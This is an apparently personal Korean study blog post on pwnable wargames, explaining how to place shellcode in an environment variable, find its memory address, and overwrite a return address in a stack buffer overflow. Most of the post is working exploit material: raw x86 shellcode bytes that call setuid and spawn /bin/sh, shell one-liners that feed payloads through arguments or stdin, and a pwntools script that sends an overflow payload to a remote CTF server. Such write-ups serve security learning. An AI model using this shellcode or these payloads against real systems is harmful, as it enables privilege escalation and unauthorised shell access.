STUDY/Pwnable
환경변수 이용하는 법
da1seun9
2020. 1. 2. 16:29
환경변수에 등록된 데이터는 고정적인 메모리 주소를 가지고 있는다 따라서 shellcode를 환경변수에 등록하고 메모리 주소를 알아가지고 RET에 넣으면 원하는 결과를 얻을 수 있다.
------------ pwntool 안 쓸때-------------
1.환경변수 등록
export [환경변수명]=$(python -c 'print"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
2. shellcode가 위치하는 메모리 주소를 나타내는 코드
#include<stdio.h>
int main()
{
printf("%p\n",getenv("[shellcode를 컴파일 한 파일이름]"));
return 0;
}
이 소스코드를 컴파일 함
3. 페이로드 실행
-인자를 받고 프로그램 실행시: ./[파일 이름] `python -c 'print"[내용]"'` -->EX) argv로 인자를 받을 때(argv가 있을 때)
-프로그램이 시작하고 인자를 받을때 : (python -c 'print"[내용]"';cat) | ./[파일 이름] -->EX) gets나 scanf받을 때
-------------pwntool 쓸 때--------------
Ex)
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3001)
payload = "A" * 128 + p32(0x0804849b)
p.sendline(payload)
p.interactive()